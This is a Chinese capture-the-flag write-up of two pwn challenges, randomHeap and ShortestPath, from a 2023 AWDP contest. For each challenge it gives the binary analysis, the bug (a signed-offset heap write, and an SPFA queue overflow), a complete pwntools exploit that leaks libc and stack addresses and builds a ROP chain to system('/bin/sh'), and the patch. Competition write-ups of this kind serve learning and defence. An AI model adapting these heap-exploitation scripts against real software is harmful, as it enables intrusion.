中华武术杯 2023 AWDP Pwn WriteUp

奔着领低保去的

朝着没去过的上海冲锋!

不报差旅差评 虽然有低保

2023 第一节 中华武术杯 AWDP Pwn WriteUp

Pwn原始附件下载地址

碎碎念

定力还得练,这次比赛又在几道题之间反复横跳了。

最后一分钟写完exp,没来的及微调就结束力。

搬一段自己的空间:

今日份awdp

签到题急了,没沉下去,傻逼fix没拿到高分

然后急着去看第二题fix,但是并看不懂

等到最后一个半小时,签到题break思路来了

最后半小时进入利用,最后一分钟写完exp,但是bug了,很傻逼的那种

最后一秒interactive,服务器下线了

你妈

又是被带飞的一天

最后,以及再说一遍,我是傻逼

randomHeap

程序分析

初始化阶段随机抬了[0,15]个内存页,开头大小0x291的tcache列表也给做出来了,好评。

然后随机在堆上分配16个0x100x28大小的chunk,分别作为headerdata,数据结构如下。

  • header:

    0x0: size (signed long long)

    0x8: ptr (char*)

  • data:

    0x0: data (char[0x28])

从此不会再有新的malloc行为。

分配阶段,从headerdata各随机取一个,放入bss上的列表中。整个流程申请超过16个直接exit(0)

删除也清空了header中的指针,不存在UAF。

show函数使用write(1,header->ptr,header->size),可以无视0截断泄露信息。

漏洞点分析

edit函数中,offset没有检查负数,导致可以向堆上较低地址任意写,具体为header->ptr[offset]

因为堆的headerdata是在初始化时malloc的,地址连续,仅在add过程中随机分配。因此有较大概率header会与data相邻。

初始化时分配的大堆块总大小总是0x1000的倍数,只会对heap_base以内存页为单位产生影响,对我们下一步的利用影响不大。

那我们就可以开喷,假设至少存在一个headerdata相邻,随便找一个data,向前修改它相邻的header的size域,再挨个show所有堆块,如果假设成立,我们就会收到长度大于0x28的数据。

如此,我们可以拿到堆上地址,进而拿到headerdata所在页地址。

记随机选取的堆块id为random_idx,找到可以show出数据的堆块id为target_idx

然后我们将random_idxheader->data指针低12位清零,进而拿到整页的内存分布。

接下来我们考虑怎么拿libc。

由于删除过程会删干净指针,我们不能直接使用上一步用过的random_idxtarget_idx。我们需要再控制一个指针,使其指向初始化阶段分配的大小0xd60的堆块。

我们可以随意取一个与random_idxtarget_idx不同id的header,找到对应与之对应的data,计算此headerdata的距离,我们就又拿到一个可控的header,并进一步利用它完成对大堆块的free。

构造任意读写就很简单了,拿着random_idxtarget_idx就能随便改随便写。

有了libc和任意读写就可以考虑怎么getshell了。

main可以正常return 0,考虑泄露env打栈。

攻击exp

这个脚本其实还可以优化,就比如fail to calc offset那个手写的assert,可以再往下找一个堆块并重新计算。

不过对于当时来说,重新跑花费的时间相比做优化花费的时间少得多,果断大力出奇迹了。

虽然本地命中概率不太高(体感低于50%),远程的命中概率还是挺高的,跑了三次都中了。

虽然最后就差一点。擦。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process('./randomHeap.bak')
#s=remote("39.106.48.123",41969)
elf=ELF('./randomHeap.bak')
libc=ELF("./libc.so.6")

def menu(choice):
    s.sendlineafter(b"choice: ",str(choice).encode())
def add(idx,content=b"/bin/sh\x00"):
    menu(1)
    s.sendlineafter(b"idx: ",str(idx).encode())
    s.sendlineafter(b"data: ",content)

def edit(idx,off,content):
    menu(2)
    s.sendlineafter(b"idx: ",str(idx).encode())
    s.sendlineafter(b"offset: ",str(off).encode())
    s.sendlineafter(b"data: ",content)

def show(idx):
    menu(3)
    s.sendlineafter(b"idx: ",str(idx).encode())
    s.recvuntil(b"Data: ")
    return s.recvline()[:-1]

def delete(idx):
    menu(4)
    s.sendlineafter(b"idx: ",str(idx).encode())

def test(dat):
    context.log_level="info"
    tests=process("./randomHeap.bak")
    context.log_level="debug"
    tests.send(dat)
    context.log_level="info"
    tests.close()
    context.log_level="debug"

if __name__=="__main__":
    pause()
    # spray heap with idx, binsh seems useless
    for i in range(0x10):
        add(i,p64(0xd0+i)+b"/bin/sh\x00")
    # randomly choose an header, modify its neighbour header->size
    # to a bigger one, prepare to leak when show
    edit(3,-0x20,b"\x90\x21")
    # try hit, if hit, then data len should be the length we set
    # in our previous step
    flag=0
    target_idx=0
    for i in range(0x10):
        dat=show(i)
        if len(dat)!=0x28:
            info(hex(len(dat)))
            flag=1
            target_idx=i
            break
    if not flag:
        error("failed to leak")

    # clear low 12 bits to zero, show from "heap base"
    # then we can know what's on mem
    pos=dat.find(p64(0x28))
    heap_base=u64(dat[pos+8:pos+16])&(~0xfff)
    info(hex(heap_base))
    edit(3,-0x18,p64(heap_base)[:6])
    dat=show(target_idx)

    # choose the first header, and try to find its data and modify
    # its ptr to 0xd71 chunks malloced in init phase.
    # There's some simple assertions.
    # Can be removed if you scan other ptrs on heap when the first failed.
    pos=dat.find(b"\x56")
    if pos==-1:
        pos=dat.find(b"\x55")
    if pos==-1:
        error("failed to find heap ptr")
    pos-=5
    heap_ptr=u64(dat[pos:pos+8])&(0xfff)
    evil_idx=u64(dat[heap_ptr:heap_ptr+8])-0xd0
    if evil_idx<0 or evil_idx>0x10:
        error("failed to find evil idx")
    info(hex(evil_idx))
    if pos-heap_ptr>0:
        error("fail to calc offset")
    

    edit(evil_idx,pos-heap_ptr,p64(heap_base-0xd70+0x10)[:6])
    delete(evil_idx)
    edit(3,-0x18,p64(heap_base-0xd70+0x10)[:6])
    dat=show(target_idx)
    libc.address=u64(dat[:8])-(0x7f5fc9912ce0-0x7f5fc96f9000)
    success(hex(libc.address))

    # Now we get libc base, leak environ then attack stack
    # should be a good idea.

    edit(3,-0x18,p64(libc.sym.environ)[:6])
    stack=u64(show(target_idx)[:8])
    success(hex(stack))

    target=stack+(0x7ffd0cee3c38-0x7ffd0cee3d58)+8
    edit(3,-0x18,p64(target)[:6])
    edit(target_idx,-8,p64(libc.address+0x000000000002a3e5+1)[:6])
    edit(target_idx,0,p64(libc.address+0x000000000002a3e5)[:6])
    edit(target_idx,8,p64(libc.address+0x00000000001d8698)[:6])
    edit(target_idx,0x10,p64(libc.sym.system)[:6])
    s.interactive()

修复

edit中有符号比较改成无符号比较jle=>jbe即可。

ShortestPath

在这里先给Lilac的cnw@ngjihe磕一个

程序分析

程序主体实现了一个spfa计算最短路的算法。

主要数据结构:

  • 节点node_t 大小0x18 0x0: idx 0x8: edge_next 0x10: node_next
  • edge_t 大小0x28 0x0: val 0x8: data 0x10: dst 0x18: size 0x20: edge_next
  • 计算最短路时的testnode_t 大小0x18 0x0: all_nodes curr_t[] 0x8: head 队列头指针 0x10: tail 队列尾指针
  • 当前走道的节点curr_t 大小0x18 0x0: val 0x8: idx 0x10: step

计算最短路时,存放节点的队列大小只有n+1,但是由于SPFA中每个节点最多可以入队n次,这里存在堆溢出。

输入函数以回车结尾,但是没有将回车写到buf,也没有写0截断,发个回车就能泄露信息了。

curr_t第一个字段是val,我们只要将chunk_size写进edge_tval,再造几条负边,通过最短路计算就可以改大chunk_size

然后就是风水了。稍微调一调,打栈就行了。

攻击exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./pwn.bak")
elf=ELF("./pwn.bak")
libc=ELF("./libc.so.6")

def menu(ch):
    s.sendlineafter(b"Your choice: ",str(ch).encode())

def add(src,dst,size,data,val):
    menu(1)
    s.sendlineafter(b"Input src:",str(src).encode())
    s.sendlineafter(b"Input dst:",str(dst).encode())
    s.sendlineafter(b"Input size:",str(size).encode())
    s.sendlineafter(b"Input data:",data)
    s.sendlineafter(b"Input val:",str(val).encode())

def short(src,dst,step=10):
    menu(3)
    s.sendlineafter(b"Input src:",str(src).encode())
    s.sendlineafter(b"Input dst:",str(dst).encode())
    s.sendlineafter(b"Input maxStep:",str(step).encode())

def show(src,dst):
    menu(4)
    s.sendlineafter(b"Input src:",str(src).encode())
    s.sendlineafter(b"Input dst:",str(dst).encode())
    s.recvuntil(b"Data: ")
    dat=s.recvline()[:-1]
    s.recvuntil(b"Value: ")
    val=int(s.recvline()[:-1])
    return [dat,val]

def delete(src,dst):
    menu(2)
    s.sendlineafter(b"Input src:",str(src).encode())
    s.sendlineafter(b"Input dst:",str(dst).encode())

if __name__=="__main__":
    pause()
    add(100,101,0x78,b"a",100)
    delete(100,101)
    add(100,101,0x78,b"",100)
    dat,_=show(100,101)
    delete(100,101)
    heap_xor_key=u64(dat[:5].ljust(8,b"\x00"))
    heap_base=heap_xor_key<<12
    success(hex(heap_base))
    add(100,101,0xf0,b"a",0x561+3)
    add(101,102,0xd8,b"",-1)
    add(102,101,0xd8,b"",-1)
    add(102,103,0xc8,b"",-1)
    add(103,102,0xc8,b"",1)
    short(100,103,3)

    delete(100,101)
    add(105,106,0x18,b"",100)
    dat,_=show(105,106)
    delete(105,106)
    libc.address=u64(dat.ljust(8,b"\x00"))-(0x7fc0d404ace0-0x7fc0d3e31000)
    success(hex(libc.address))
    
    delete(102,101)
    delete(101,102)
    add(107,108,0xa0,b"a"*0x90,100)

    p=flat([
        0,0,0,0,0,0,0,0xe1,
        libc.sym.environ^heap_xor_key,
    ])[:-1]
    add(108,107,0xa0,p,100)
    add(109,110,0xd8,b"",100)
    add(111,112,0xd8,b"",100)
    dat,_=show(111,112)
    stack=u64(dat.ljust(8,b"\x00"))+(0x7ffec2750cd8-0x7ffec2750e18)-8
    success(hex(stack))

    add(199,200,0xc8,b"",100)
    delete(199,200)
    delete(103,102)

    add(159,160,0x80,b"",100)
    add(157,158,0xf0-0x40,p64(stack^heap_xor_key),100)
    add(1330,1331,0xc0,b"",100)
    info(hex(stack))

    binsh=0x00000000001d8698+libc.address
    rdi=0x000000000002a3e5+libc.address
    add(1337,1338,0xc0,flat([
        0,rdi+1,
        rdi,binsh,
        libc.sym.system,
    ]),100)
    s.interactive()

修复

Lilac的师傅直接把节点队列改大。

处理大小的部分有一个shr rax,3,据Lilac的师傅说改9就可以过。

至于预期解就不得而知了,也许跟那个更新队列的函数以及sub_1993有关?

0%